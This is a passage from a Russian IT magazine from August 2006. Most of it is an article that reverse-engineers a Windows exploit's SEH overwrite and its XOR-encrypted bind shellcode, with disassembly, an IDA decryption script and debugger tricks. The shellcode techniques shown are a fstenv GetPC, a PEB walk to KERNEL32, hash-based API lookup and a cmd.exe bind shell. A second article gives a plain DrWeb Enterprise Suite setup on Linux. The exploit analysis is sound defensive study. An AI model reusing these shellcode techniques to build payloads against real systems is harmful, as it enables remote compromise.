; указатель на текущий SEH-фрейм.text:004012D1 mov esi, [ebx+0Ch].text:004012D4 mov edi, [ebx+8].text:004012D7; CODE XREF: unknwn_libname_1+90↓j.text:004012D7 unknwn_libname_2:; обработчиков больше нет?.text:004012D cmp esi, 0FFFFFFFFh; если да, завершаем программу.text:004012DA jz short unknwn_libname_5.text:004012DC lea ecx, [esi+esi*2].text:004012DF cmp dword ptr [edi+ecx*4+4], 0; Microsoft VisualC 2-7/net.text:004012E4 jz short unknwn_libname_3; сохраняем указатель на фрейм.text:004012E6 push esi; сохраняем указатель на кадр.text:004012E7 push ebp.text:004012E8 lea ebp, [ebx+10h]; вызываем обработчик исключения.text:004012EB call dword ptr [edi+ecx*4+4]; восстанавливаем кадр.text:004012EF pop ebp; восстанавливаем фрейм.text:004012F0 pop esi

Листинг 4. Фрагмент функции, формирующий новый SEH-фрейм (компилятор – Microsoft Visual C++)

; открыть новый....text:0040104D push ebp; ...кадр стека.text:0040104E mov ebp, esp; это последний SEH-фрейм.text:00401050 push 0FFFFFFFFh; предшествующий SEH-обработчик.text:00401052 push offset stru_407020; новый SEH-обработчик.text:00401057 push offset _except_handler3; получить указатель на SEH-фрейм.text:0040105C mov eax, large fs:0; предыдущий SEH-обработчик.text:00401062 push eax; зарегистрировать новый SEH-фрейм.text:00401063 mov large fs:0, esp

Листинг 5. Структура SEH-фреймов

struct EXCEPTION_REGISTRATION{// предыдущий SEH-фрейм/* 00h */ EXCEPTION_REGISTRATION *prev;// обработчик исключения/* 04h */ DWORD *handler;};

63№8, август 2006


ных в памяти с таким расчетом, чтобы они совпадали с те-кущими SEH-фреймами атакуемой программы. Это самая капризная часть эксплоита, поскольку дислокация фрей-мов зависит как от версии атакуемой программы (добав-ление или удаление локальных переменных внутри уязви-мой функции изменяет расстояние между фреймом и пе-реполняющимся буфером), так и от начального положе-ния стека на момент запуска программы (за это отвеча-ет операционная система). В дополнение к этому необхо-димо следить за тем, чтобы handler действительно указы-вал на pop reg/pop reg/ret (add esp,8/ret), а не на что-то дру-гое. В противном случае exploit работать не будет, но если все значения подобранны правильно, управление получит bind_shellcode, который мы сейчас попробуем дизассемб-лировать, но прежде необходимо перевести ASCII-строку в двоичный вид, чтобы его «проглотил» hiew или IDA PRO.

Вместо того, чтобы писать конвертор с нуля, воспользу-емся возможностями компилятора языка Си, написав не-сложную программу, состоящую фактически всего из од-ной строки (остальные – объявления):

Выделяем массив bind_shellcode и копируем в нашу про-грамму, по ходу дела переименовывая его в shellcode. Ком-пилируем с настройками по умолчанию, запускаем. На дис-ке образуется файл shellcode, готовый к загрузке в IDA Pro или hiew (только не забудьте переключить дизассемблер в 32-разрядный режим!).

Начало дизассемблерного листинга выглядит так:

Первые 8 команд более или менее понятны, а вот даль-ше начинается явный мусор, типа инструкций IN и OUT, ко-торые при попытке выполнения на прикладном режиме воз-буждают исключение. Тут что-то не так! Либо точка входа в shell-код начинается не с первого байта (но это противо-речит результатам наших исследований), либо shell-код за-шифрован. Присмотревшись к первым восьми командам

повнимательнее, мы с удовлетворением обнаруживаем тривиальный расшифровщик в лице инструкции XOR, сле-довательно, точка входа в shell-код определена нами пра-вильно и все, что нужно, – это расшифровать его, а для это-го мы должны определить значение регистров EBX и ECX, используемых расшифровщиком.

С регистром ECX разобраться несложно – он инициа-лизируется явно путем нехитрых математических преоб-разований:

то есть на входе в расшифровщик ECX будет иметь зна-чение 50h – именно столько двойных слов нам предстоит расшифровать.

С регистром EBX все обстоит намного сложнее, и, чтобы вычислить его значение, необходимо углубиться во внут-ренние структуры данных сопроцессора. Команда FLDZ по-мещает на стек сопроцессора константу +0.0, а команда FSTENV сохраняет текущую среду сопроцессора по адре-су [esp-0Ch]. Открыв «Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference», среди прочей по-лезной информации мы найдем и сам формат среды FPU:

Наложив эту структуру на стек, мы получим вот что:

Из этой схемы видно, что команда POP EBX выталкива-ет в регистр EBX адрес последней FPU-инструкции, кото-рой и является FLDZ, расположенная по смещению 5h (ус-ловно). При исполнении на «живом» процессоре смещение будет наверняка другим, и, чтобы не погибнуть, shell-код должен определить, где именно он располагается в памя-ти. Разработчик shell-кода применил довольно необычный подход, в то время как подавляющее большинство ограни-чивается тривиальным CALL/POP REG. Сложив получен-

Листинг 8. Программа, сохраняющая ASCII-массив shellcode[] в одноименный двоичный файл, пригодный для дизассемблирования

#include <stdio.h>// сюда помещаем массив для преобразованияchar shellcode[]="\xXX\xXX\xXX\xXX";main(){FILE *f;if(f=fopen("shellcode","wb")) ↵ fwrite(shellcode, sizeof(shellcode),1,f);}

Листинг 9. В начале shell-кода расположен расшифровщик, расшифровывающий весь остальной код

; ECX := 000000000: 29C9 sub ecx,ecx; EBX := 50h00000002: 83E9B0 sub ecx,-050; загрузить +0.0 на стек FPU00000005: D9EE fldz; сохранить среду FPU в памяти00000007: D97424F4 fstenv [esp][-0C]; EBX := &fldz0000000B: 5B pop ebx0000000C: 81731319F50437 xor d,[ebx][13],03704F519; ^расшифровываем двойными словами0000000C; EBX += 4:следующее двойное слово00000013: 83EBFC sub ebx,-004; мотаем цикл00000016: E2F4 loop 00000000C (1); зашифрованная команда00000018: E59F in eax,09F; зашифрованная команда0000001A: EF out dx,eax

sub ecx,ecx→ecx:=0; sub ebx,-50h→add ecx,50h→ecx := 50h

Листинг 10. Псевдокод команды fstenv, сохраняющей среду FPU

FPUControlWord → SRC(FPUControlWord);FPUStatusWord → SRC(FPUStatusWord);FPUTagWord → SRC(FPUTagWord);FPUDataPointer → SRC(FPUDataPointer);FPUInstructionPointer → SRC(FPUInstructionPointer);FPULastInstructionOpcode → SRC(FPULastInstructionOpcode);

Рисунок 3. Расшифровка shell-кода в hiew

Листинг 11. Карта размещения среды в стековой памяти

->- fstenv -> - 0Ch FPUControlWord - 08h FPUStatusWord - 04h FPUTagWord->--- esp ---> 00h FPUDataPointer<- pop ebx -<- + 04h FPUInstructionPointer + 08 FPULastInstructionOpcode

64


ное смещение 5h с константой 13h, фигурирующей в инс-трукции XOR, мы получим 18h – адрес первого зашифро-ванного байта.

Зная значения регистров, нетрудно расшифровать shell-код. В IDA Pro для этого достаточно написать следующий скрипт:

Нажимаем <Shift+F2>, в появившемся диалоговом окне вводим вышеприведенный код, запуская его на выполне-ние по <Ctrl+Enter>. В hiew расшифровка осуществляется еще проще. Открываем файл shellcode, однократным нажа-тием клавиши <ENTER> переводим редактор в hex-режим, подводим курсор к смещению 18h – туда, где кончается рас-шифровщик и начинается зашифрованный код (см. лис-тинг 9), переходим в режим редактирования по <F3>, на-жимаем <F8> (Xor) и вводим константу шифрования, за-писанную с учетом порядка байтов на x86 задом наперед: 19h F5h 04h 37h и жмем <F8> до тех пор, пока курсор не дой-дет до конца файла. Сохраняем изменения клавишей <F9> и выходим (см. рис. 3).

После расшифровки shell-код можно дизассемблиро-вать в обычном режиме. Начинаем анализ и… тут же вля-пываемся в древний, но все еще работающий антидизас-семблерный трюк:

Команда «CALL LOC_19+1» прыгает куда-то в сере-дину инструкции PUSH, засылающей в стек константу FFFFFFEBh, в которой опытные кодокопатели уже наверня-ка увидели инструкцию безусловного перехода, заданную опкодом EBh, а вся команда выглядит так: EBh 4Dh, где 4Dh «отрываются» от инструкции DEC EBP. Важно не забывать, что PUSH с опкодом 6Ah – это знаковая команда, то есть никаких FFh в самом опкоде нет, поэтому вместо перехода по адресу EBh FFh (как это следует из дизассемблерного текста) мы получаем переход по адресу EBh 4Dh (как это следует из машинного кода), что совсем не одно и то же! Сам переход, кстати говоря, относительный и вычисляет-ся от конца команды JMP, длина которой в данном случае равна двум. Складываем 4Dh (целевой адрес перехода) с 1Ah (адрес самой команды перехода – loc_19 + 1 = 1Ah)

и получаем 69h. Именно по этому смещению и будет пере-дано управление! А команды, идущие за инструкцией CALL, расположены чисто для маскировки, чтобы противник по-дольше голову поломал.

Хорошо, отправляемся в район 69h и смотрим, что хо-рошего у нас там:

С первой командой, обнуляющей EBX через XOR, все по-нятно. Но вот вторая… что-то считывает из ячейки, лежа-щей по адресу FS:[EBX+30]. Селектор FS указывает на об-ласть памяти, где операционная система хранит служеб-ные (и практически никак недокументированные) данные потока. К счастью, в нашем распоряжении есть Интернет. Набираем в Googlе «fs:[30h]» (с кавычками!) и получаем ку-чу ссылок от рекламы картриджей TK-30H до вполне вме-няемых материалов, из которых мы узнаем, что в ячейке FS:[30h] хранится указатель на Process Enviroment Block – блок окружения процесса или сокращенно PEB.

Описание самого PEB (как и многих других внутренних структур операционной системы) можно почерпнуть из за-мечательной книги «The Undocumented Functions Microsoft Windows NT/2000», электронная версия которой доступна по адресу: http://undocumented.ntinternals.net.

Из нее мы узнаем, что по смещению 0Ch от начала PEB лежит указатель на структуру PEB_LDR_DATA, по смеще-нию 1Ch от начала которой лежит список. Не указатель на список, а сам список, состоящий из двух двойных слов: указателя на следующий LIST_ENTRY и указателя на экзем-пляр структуры LDR_MODULE, перечисленных в порядке инициализации модулей, а первым, как известно, инициа-лизируется KERNEL32.DLL.

Описание самой структуры LDR_MODULE выглядит так (кстати говоря, в «The Undocumented Functions Microsoft Windows NT/2000» допущена грубая ошибка – пропущен union):

Листинг 14. Код, вычисляющий базовый адрес KERNEL32.DLL через PEB

; ebx := 0seg000:00000069 31 DB xor ebx, ebx; PEBseg000:0000006B 64 8B 43 30 mov eax, fs:[ebx+30h]; PEB_LDR_DATAseg000:0000006F 8B 40 0C mov eax, [eax+0Ch]; InInitializationOrderModuleListseg000:00000072 8B 70 1C mov esi, [eax+1Ch]; EAX := *ESIseg000:00000075 AD lodsd; BASE of KERNEL32.DLLseg000:00000076 8B 40 08 mov eax, [eax+8]

Листинг 15. Недокументированная структура PEB_LDR_DATA

/* 00 */ ULONG Length;/* 04 */ BOOLEAN Initialized;/* 08 */ PVOID SsHandle;/* 0C */ LIST_ENTRY InLoadOrderModuleList;/* 14 */ LIST_ENTRY InMemoryOrderModuleList;/* 1C */ LIST_ENTRY InInitializationOrderModuleList;

Листинг 16. Недокументированная структура LDR_MODULE

typedef struct _LDR_MODULE {union order_type{/* 00 */ LIST_ENTRY InLoadOrderModuleList;/* 00 */ LIST_ENTRY InMemoryOrderModuleList;

Листинг 12. Скрипт для IDA Pro, расшифровывающий shell-код

auto a,x; // объявление переменныхfor(a = 0; a < 0x50; a++) // цикл расшифровки{ // читаем очередное двойное слово x=Dword(MK_FP("seg000",a*4+0x18)); // расшифровываем x = x ^ 0x3704F519; //записываем расшифрованное значение PatchDword(MK_FP("seg000",a*4+0x18),x);}

Листинг 13. Древний антидизассемблерный трюк – прыжок в середину команды

; CODE XREF: seg000:0000001C↓pseg000:019 loc_19:; скрытая команда в операндеseg000:019 6A EB push FFFFFFEBh; продолжение скрытой командыseg000:01B 4D dec ebp; вызов в середину pushseg000:01C E8 F9 FF FF FF call loc_19+1; сохраняем все регистрыseg000:021 60 pusha

65№8, август 2006


Самая трудная часть позади. Теперь мы точно знаем, что EAX содержит базовый адрес KERNEL32.DLL. Продол-жаем анализировать дальше.

Команда POP ESI выталкивает в регистр ESI двойное слово, лежащее на вершине стека. А что у нас там? Помните команду CALL, передающую управление хитрой инструкции JMP? Она положила на стек адрес возврата, то есть адрес следующей за ней команды, равный в данном случае 021h, который тут же и вызывается инструкцией CALL ESI, при-нимающей два аргумента – базовый адрес KERNEL32.DLL, передаваемый в регистре EAX и непонятную константу 0EC0E4E8Eh.

Зная базовый адрес загрузки KERNEL32.DLL (он пере-дается функции через стек и лежит по смещению 24h бай-та от вершины – остальное пространство занимают регис-тры, сохраненные командой PUSHA), программа получа-ет указатель на PE-заголовок, откуда извлекает указатель на таблицу экспорта, считывая общее количество экспор-тируемых имен (numberOfNamePointers) и RVA-указатель на массив с именами, который тут же преобразуется в эф-фективный виртуальный адрес путем сложения с базовым адресом загрузки KERNEL32.DLL.

А вот дальше… дальше начинается самое интерес-ное! Для каждого из экспортируемых имен функция вы-числяет хэш, сравнивая его с тем «загадочным» числом. Если они совпадают, искомая API-функция считается най-денной, и возвращается ее виртуальный адрес. Таким об-разом, данный код представляет собой аналог функции GetProcAddress, только с той разницей, что он принимает не ASCII-имя функции, а его 32-битный хэш. Условимся на-зывать эту процедуру MyGetProcAddress.

Можно ли восстановить имя функции по ее хэшу? С ма-тематической точки зрения – навряд ли, но что мешает нам запустить shell-код под отладчиком (см. одноименную врезку) и «подсмотреть» возвращенный виртуальный ад-рес, по которому имя определяется без проблем!

Сказано – сделано! Немного протрассировав програм-му до строки 82h, мы обнаруживаем в регистре EAX чис-ло 79450221h (зависит от версии системы, на вашей ма-шине наверняка будет иным). Нормальные отладчики (ти-па OllyDbg) тут же покажут имя функции LoadLibraryA. Как вариант можно воспользоваться утилитой DUMPBIN из Platform SDK, запустив ее со следующими ключами: «dumpbin KERNEL32.DLL /EXPORTS > kernel32», только пом-ните, что она показывает относительные RVA-адреса, по-этому необходимо либо добавить к ним базовый адрес за-грузки KERNEL32.DLL, либо вычесть его из адреса иско-мой функции.

Листинг 17. Вызов API-функции по хэш-именам

; esi := &MyGetProcAddressseg000:00000079 5E pop esi; #LoadLibraryAseg000:0000007A 68 8E 4E 0E EC push 0EC0E4E8Eh; base of KERNEL32.DLLseg000:0000007F 50 push eax; MyGetProcAddressseg000:00000080 FF D6 call esi

Листинг 18. Процедура MyGetProcAddress, возвращающая адрес API-функции по хэш-сумме его имени

; сохраняем все регистрыseg000:00000021 60 pusha; base of KERNEL32.DLLseg000:00000022 8B 6C 24 24 mov ebp, [esp+24h]; PE headerseg000:00000026 8B 45 3C mov eax, [ebp+3Ch]; export table RVAseg000:00000029 8B 7C 05 78 mov edi, [ebp+eax+78h]; адрес таблицы экспортаseg000:0000002D 01 EF add edi, ebp; numberOfNamePointersseg000:0000002F 8B 4F 18 mov ecx, [edi+18h]; namePointerRVAseg000:00000032 8B 5F 20 mov ebx, [edi+20h]; namePointer VAseg000:00000035 01 EB add ebx, ebpseg000:00000037; CODE XREF: seg000:00000050↓jseg000:00000037 loc_37:; обрабатываем следующее имяseg000:00000037 49 dec ecx; RVA-адрес функцииseg000:00000038 8B 34 8B mov esi, [ebx+ecx*4]; виртуальный адрес функцииseg000:0000003B 01 EE add esi, ebp; EAX := 0seg000:0000003D 31 C0 xor eax, eax; EDX := 0seg000:0000003F 99 cdqseg000:00000040; CODE XREF: seg000:0000004A↓jseg000:00000040 loc_40:; читаем очередной байт имениseg000:00000040 AC lodsb; это конец имени?seg000:00000041 84 C0 test al, al

; если конец, выходим из циклаseg000:00000043 74 07 jz short loc_4C; следующие 2 строчки хэшируют имяseg000:00000045 C1 CA 0D ror edx, 0Dhseg000:00000048 01 C2 add edx, eax; мотаем циклseg000:0000004A EB F4 jmp short loc_40seg000:0000004C; CODE XREF: seg000:00000043↑jseg000:0000004C loc_4C:; это «наш» хэш?seg000:0000004C 3B 54 24 28 cmp edx, [esp+28h]; продолжаем поиск, если не нашseg000:00000050 75 E5 jnz short loc_37; ordinalTableRVAseg000:00000052 8B 5F 24 mov ebx, [edi+24h]; ordinalTable VAseg000:00000055 01 EB add ebx, ebp; indexseg000:00000057 66 8B 0C 4B mov cx, [ebx+ecx*2]; exportAddressTableRVAseg000:0000005B 8B 5F 1C mov ebx, [edi+1Ch]; exportAddressTable VAseg000:0000005E 01 EB add ebx, ebp; вот она наша функция!!!seg000:00000060 03 2C 8B add ebp, [ebx+ecx*4]; сохраняем в EAX; восстанавливаем регистрыseg000:00000063 89 6C 24 1C mov [esp+1Ch], ebpseg000:00000067 61 popa; возвращаемся из функцииseg000:00000068 C3 retn

/* 00 */ LIST_ENTRY InInitializationOrderModuleList;}/* 08 */ PVOID BaseAddress;/* 0C */ PVOID EntryPoint;/* 10 */ ULONG SizeOfImage;/* 14 */ UNICODE_STRING FullDllName;/* 18 */ UNICODE_STRING BaseDllName;/* 1C */ ULONG Flags;/* 20 */ SHORT LoadCount;/* 22 */ SHORT TlsIndex;/* 24 */ LIST_ENTRY HashTableEntry;/* 28 */ ULONG TimeDateStamp;} LDR_MODULE, *PLDR_MODULE;

66


Имея в своем распоряжении функцию LoadLibraryA, shell-код загружает библиотеку ws_2_32 для работы с сокетами, имя которой передается непосредственно через стек и за-вершается двумя нулевыми байтами (хотя было бы доста-точно и одного), формируемого командой PUSH BH (как мы помним, несколькими строками выше EBX был обращен в ноль – см. листинг 9).

PUSH BH это двухбайтовая команда, в то время как PUSH EBX – однобайтовая. Но не будем придираться по ме-лочам.

Процедура MyGetProcAddress снова принимает «маги-ческое» число 3BFCEDCBh, которое после расшифровки под отладчиком оказывается API-функцией WSAStartup, вы-зов которой совершенно не оправдан, поскольку для ини-циализации библиотеки сокетов ее достаточно вызвать один-единственный раз, что уже давно сделало уязви-мое приложение, иначе как бы мы ухитрились его удален-но атаковать?

Последовательность последующих вызовов вполне стандартна:

Дождавшись подключения на заданный порт, shell-код

считывает ASCII-строку, передавая ее командному интер-претатору cmd.exe по следующей схеме:

Злоумышленник может запускать любые программы и выполнять пакетные команды, что дает ему практичес-ки неограниченную власть над системой, разумеется, ес-ли брандмауэр будет не прочь, но про обход брандмауэров уже неоднократно писали.

ЗаключениеВот мы и познакомились с основными приемами исследо-вания эксплоитов. Остальные анализируются аналогично. Главное не теряться и всегда в любой ситуации помнить, что Интернет рядом с тобой! Достаточно лишь правильно со-ставить запрос, и все недокументированные структуры бу-дут видны как на ладони, ведь недра операционных систем уже изрыты вдоль и поперек, так что крайне маловероятно встретить в shell-коде нечто принципиально новое. То есть встретить как раз-таки очень даже вероятно, но «новым» оно пробудет от силы неделю. Ну пусть десять дней. А пос-ле начнет расползаться по форумам, электронным и бу-мажным журналам, будет обсуждаться в курилках и хакер-ских кулуарах наконец. А затем Microsoft выпустит очеред-ное исправление к своей замечательной системе, и таким трудом добытые трюки станут неактуальными.

1. Системные вызовы NT. Наиболее полная коллекция систем-ных вызовов всей линейки NT-подобных систем, крайне по-лезна для исследователей (на английском языке): http://www.metasploit.com/users/opcode/syscalls.html;

2. Системные вызовы по LINUX. Энциклопедия системных вызо-вов различных LINUX-подобных систем с прототипами, а кое-где и с комментариями (на английском языке): http://www.lxhp.in-berlin.de/lhpsyscal.html.

Как запустить shell-код под отладчикомСтатические методы исследования, к которым относятся дизас-семблеры, не всегда удобны, и во многих случаях отладка намно-го более предпочтительна. Однако отладчиков, способных отла-живать shell-код, не существует, и приходится хитрить.

Пишем простую программу наподобие «hello, word!», компи-лируем. Открываем полученный исполняемый файл в hiew, при-вычным нажатием клавиши <ENTER> переключаемся в hex-ре-жим, давим <F8> (header) и переходим в точку входа по <F5>. На-жимаем <*> и выделяем курсором некоторое количество байт, та-кое – чтобы было не меньше размера shell-кода. Нажимаем <*> еще раз для завершения выделения и перемещаем курсор в на-чало выделенного блока (по умолчанию он будет раскрашен бор-довым). Давим <Ctrl-F2>, в появившемся диалоговом окне вво-дим имя файла (в данном случае shellcode) и после завершения процесса загрузки блока с диска выходим из hiew. <F9> можно не нажимать, т. к. изменения сохраняются автоматически. Руга-тельство «End of input file» означает, что размер выделения пре-вышает размер файла. В данном случае это нормальная ситуа-ция. Хуже, когда наоборот (если часть файла окажется незагру-женной, shell-код, естественно, работать не будет).

После этой несложной хирургической операции исполняемый файл можно отлаживать любым отладчиком – хоть soft-ice, хоть OllyDbg, но перед этим необходимо отредактировать атрибуты кодовой секции (обычно она называется .text), разрешив ее мо-дификацию, иначе shell-код выбросит исключение при первой же попытке записи. Проще всего обработать файл с помощью утили-ты EDITBIN, входящей в штатный комплект поставки компилятора Microsoft Visual C++, запустив ее следующим образом:

Листинг 20. Снятие с кодовой секции запрета на записьEDITBIN filename.exe /SECTION:.text,rwe

Рисунок 4. Shell-код, отлаживаемый в отладчике OllyDbg

Листинг 19 загрузка библиотеки ws2_32 для работы с сокетами и ее инициализация

; "ws2_32"seg000:00000082 66 53 push bxseg000:00000084 66 68 33 32 push small 3233hseg000:00000088 68 77 73 32 5F push 5F327377h ; &"ws2_32"seg000:0000008D 54 push esp; LoadLibraryAseg000:0000008E FF D0 call eax; WSAStartupseg000:00000090 68 CB ED FC 3B push 3BFCEDCBhseg000:00000095 50 push eax; MyGetProcAddressseg000:00000096 FF D6 call esi

WSASocketA(2, 1, 0,0,0,0) → bind(s, {sockaddr_in.2; sin_port.0x621Eh}, 0x10) → listen(s,2) → accept (s, *addr, *addrlen) → closesocket(s)

CreateProcessA(0, "cmd...", 0,0, 1,0,0,0, lpStartupInfo, lpProcessInformation) → WaitForSingleObject(hProc, -1) →ExitThread(0)

68


С одной стороны, можно отфиль-тровывать входящие и исходя-щие почтовые сообщения че-

рез почтовый шлюз. Здесь замеча-тельно вписываются как коммерчес-

кие продукты, так и продукты формата Open Source. Можно настроить систе-му фильтрации содержимого, которое проходит через proxy-серверы, здесь также достаточно альтернатив. По су-

ти происходит принудительная очист-ка от транзитных вирусных приложе-ний. А стоит ли производить повсемес-тное развертывание антивирусных па-кетов на каждом рабочем месте? Без-


Мало кто ставит под сомнение факт, что на современном рабочем месте должен стоять антивирусный пакет. Сегодня вирусы берут не умением, а числом. В основном они не разрушают информацию – они создают условия к утечке коммерческой информации. Как защитить предприятие от вирусной активности?

Антон Борисов

69№8, август 2006


условно, никто это не ставит под сомнение. Но что имен-но выбрать в качестве основы, чтобы был централизован-ный центр обновления антивирусных агентов, имелся еди-ный центр управления и велась оперативная статистика? На мой взгляд, стоит обратить внимание на антивирусные решения масштаба предприятия (Enterprise Solutions).

На сегодняшний день наиболее распространенными яв-ляются enterprise-решения от компаний: Symantec – Symantec AntiVirus Enterprise Edition [1]. Eset Software – NOD32 Enterprise Edition [2]. Sophos – Endpoint Security [3]. McAfee – McAfee Total Protection Enterprise [4]. F-Secure – F-Secure Anti-Virus for Workstations [5]. Panda – Panda EnterpriSecure Antivirus [6]. «ООО «Доктор Веб» – DrWeb Enterprise Suite [7]. «Лаборатория Касперского» – Kaspersky Corporate

Suite [8].

Последние два продукта выпускаются отечественны-ми компаниями.

Что из себя представляет антивирусное программное обеспечение масштаба предприятия? Это в первую оче-редь специализированный продукт, к примеру, от одной из вышеперечисленных компаний. Во-вторых, это клиент-серверный программный комплекс, задача серверной час-ти в котором – обеспечивать централизованное обновле-ние по сети антивирусного обеспечения для клиентов, вес-ти журнал, где учитывается, на какой именно рабочей стан-ции произошел тот или иной случай инфицирования, а так-же некоторые другие события. А задача клиентской час-ти, которая была предварительно установлена на рабочей станции, – предотвращать «инфекции», производить «ле-чение». В целом общий функционал у всех решений оди-наков. Что же касается деталей, то здесь намного интерес-нее, т.к. приходится рассматривать такие критерии, как со-отношение цена/качество, сертификация в отечественных агентствах по информатизации, возможность использова-ния на объектах повышенной секретности и т. п.

Наша компания остановила свой выбор на антивирус-ном пакете DrWeb. Легковесный антивирус – размер анти-вирусного клиента, устанавливаемого на рабочем месте, достаточно компактен – несколько мегабайт. Есть русский язык. И что немаловажно – грамотная техническая подде-ржка. Вполне возможно, что вам и не придется обращаться за помощью, т.к. описания и документация, идущие с про-дуктом, охватывают, пожалуй, все ключевые моменты, ко-торые могут возникнуть. Однако в вашей организации в ка-честве настольного антивируса может выступать решение и другой компании, благо их на рынке не две и даже не три. Выбор на самом деле более чем богатый. Наш выбор прохо-дил достаточно давно, и в целом работа продукта на протя-жении нескольких лет нас удовлетворяла, поэтому вполне логичным был шаг, что в дальнейшем мы перешли на ком-плексное решение – DrWeb Enterprise Suite.

Установка программного комплексаС сайта компании загрузите серверную часть. В ее состав входит и базовый комплект для агента – это ядро и те ан-тивирусные базы, которые были доступны на момент вы-

пуска сервера. Здесь пока преждевременно думать о све-жих базах и версиях, т.к. мы затем настроим обновление ПО и новые версии получим по сети, через сервис GUS – Global Update System.

Серверная часть антивирусного ПО доступна как для Windows-платформы, так и для UNIX/Linux-систем. Ког-да вы решите разворачивать систему на базе Linux-сер-вера, то предварительно узнайте, какая GLIBC-библио-тека используется в вашей системе, и забирайте нужную вам версию.

Здесь и далее я буду расcматривать установку на Linux-сервер. Итак, забираем с сайта архив, совместимый с вер-сией GLIBC-библиотеки в вашей системе (для моей сис-темы – Slackware Linux 10.2 – оказался подходящим архив для Debian [17]):

Создаем группу и пользователя в системе, от имени которого будет запускаться серверная часть антивирус-ного пакета:

В директорию /opt копируем содержание распакованно-го архива drweb-es-4.33-200510280-unices.tar.gz:

На этом шаге установка почти завершена. Будучи ком-мерческим продуктом, DrWeb Enterprise Suite не будет рабо-тать без ключа активации. Ключ генерирует дилер компа-нии или сама компания на срок подписки, например, на год. В нем также учитывается, для скольких клиентских мест куплена поддержка. Будем считать, что ваша компания купила поддержку для 100 рабочих мест, ключ передан по электронной почте или другим способом. Переносим его на наш Linux-сервер. Будем считать, что файл – enterprise.key – находится на вашей рабочей станции UNIX и передаваться будет по SSH-протоколу.

Таким образом, мы передали по SSH-протоколу ключ ак-тивации, от которого зависит работа серверной части ком-плекса. Не лишним будет сказать, что данный ключ акти-вации – секретная часть комплекса, которая используется только на серверной стороне.

Для работы комплекса следует еще сгенерировать приватный и публичный ключи. Что это такое и для чего нужно?

Чтобы клиентская часть комплекса, которая устанавли-вается на рабочую станцию, смогла подключиться к серве-ру и быть им опознана, используется асимметричная схе-ма криптования, в какой-то степени аналогичная PGP. С по-мощью публичного ключа, который используется на рабо-

$ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵ drweb-es-4.33-200510280-linux-debian-sarge.tar.gz $ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵ drweb-es-4.33-200510280-unices.tar.gz $ tar xzvf drweb-es-4.33-200510280-linux-debian-sarge.tar.gz $ tar xzvf drweb-es-4.33-200510280-unices.tar.gz

# groupadd drwcs# adduser drwcs

# cp -R opt /opt/drwcs# chown -R drwcs:drwcs /opt/drwcs

$ scp enterprise.key [email protected]:/opt/drwcs/etc

70


чей станции, и приватного ключа, который находится не-посредственно на сервера, происходит установка шифро-ванного канала связи. По нему будут передаваться как са-ми антивирусные базы и обновления от сервера к клиен-ту, так и информация о заражении и статистика в обрат-ном направлении.

И подготовьте еще один компонент – саму базу данных, где будет храниться вся текущая информация о станциях, вирусной активности, лечении и т. п.

База проинициализирована (см. документацию к про-дукту [18]). Теперь подготовим стартовый скрипт для за-пуска серверной части. У меня используется следующий вариант.

Хотя официально Slackware Linux не поддерживается, однако совместимость GLIBC-библиотеки (2.3.2) на мо-ей системе с Debian-системой, для которой уже есть ар-хив на сайте фирмы, позволила развернуть антивирусный комплекс и на этой системе.

На этом серверная часть готова. Запускаете серверную часть с помощью скрипта /etc/rc.d/rc.drwebd:

Следующим шагом подготовьте установочные файлы для инсталляции на рабочих местах. Я поступил вот как – сделал самораспаковывающийся архив, в который я по-местил файлы: drwinst.exe, drwcsd.pub, drwebc.bat. Первый файл – это инсталлятор, задача которого зарегистрировать рабочую станцию на сервере с помощью публичного ключа сервера (второй файл). А затем загрузить с сервера необхо-димые антивирусные обновления. Третий файл – пакетный, в котором хранится IP-адрес антивирусного сервера.

Не обязательно явно указывать адрес для сервера, т.к. установочный компонент посылает в сеть multicast-за-просы, с помощью которых и определяется нужный IP-адрес сервера. Однако в сети со множеством маршрутизаторов и роутеров, лучше использовать явное задание адреса.

Самораспаковывающийся архив я разместил на веб-странице сервера, так что, кроме самого DrWeb Enterprise Suite, на Linux-сервере еще крутится и Аpache-сервер. Ре-шение достаточно удобно, ибо на рабочем месте запуска-ется Internet Explorer, с помощью которого загружается ар-хив. Затем архив распаковывается и запускается файл drwebc.bat.

После регистрации рабочих станций основная работа уже происходит на станции, с которой управляется антиви-русный комплекс. Данная работа производится через кон-соль управления (см. рис. 1).

Все рабочие станции можно разбить на отдельные груп-пы, для каждой из которых составить правила, в частнос-ти, расписание на ежедневное или еженедельное скани-рование, политика локального доступа с рабочих стан-ций, т.е. можно ли останавливать клиентскую часть или не-льзя и т. п.

Все станции, которые в данный момент включены, на-ходятся в группе Online. Те же, которые выключены, нахо-дятся в группе Offline.

Как я уже отмечал, за непосредственную защиту от-вечает клиентская часть комплекса (Enterprise Agent), ко-торая представлена 3 компонентами: Dr.Web Scanner for Windows, Spider Guard for Windows и Spider Mail for Windows Workstations. Первый компонент предназначен для скани-рования рабочей станции, может быть запущен как с самой рабочей станции, так и с операторской консоли управления. Второй компонент отвечает за проверку всех тех файлов, к которым происходит обращение операционной системы

$ bin/drwcsd -var-root=./var -verbosity=all ↵ -log=var/server.log initdb agent.key

Скрипт запуска/остановки серверной части для Slackware Linux

#!/bin/shDISTVER="Slackware 10.0"BIN=/opt/drwcs

case "$1" in start) cd $BIN echo -n "Starting DRWEB Engine ..." su - drwcs -c "$BIN/bin/drwcsd -home=$BIN ↵ -var-root=$BIN/var -verbosity=all ↵ -log=$BIN/var/server.log -rotate=5,500000 ↵ -daemon -pid=$BIN/var/drwebd.pid" echo -e " Done" ;; stop) echo -n "Stopping DRWEB Engine ..." killall -15 drwcsd-unsafe echo -e " Done" ;; restart) $0 stop $0 start ;; echo "Usage: $0 {start|stop|restart}" exit 1

# /etc/rc.d/rc.drwebd start

drwinst.exe -interactive -verbosity=all drwcs.lan.net

Рисунок 1. Консоль управления комплексом

$ cd /opt/drwcs$ bin/drwsign genkey etc/drwcsd.pri etc/drwcsd.pub$ chmod 600 etc/drwcsd.pri$ chown drwcs:drwcs etc/drwcsd.pri$ mv etc/drwcsd.pub Installer

esac

exit 0

71№8, август 2006


в режиме runtime. Третий компонент от-вечает за проверку входящей и исходя-щей почты. То есть как только вы начи-наете получать email с помощью почто-вого клиента, то все входящие сообще-ния будут проверены еще и этим ком-понентом.

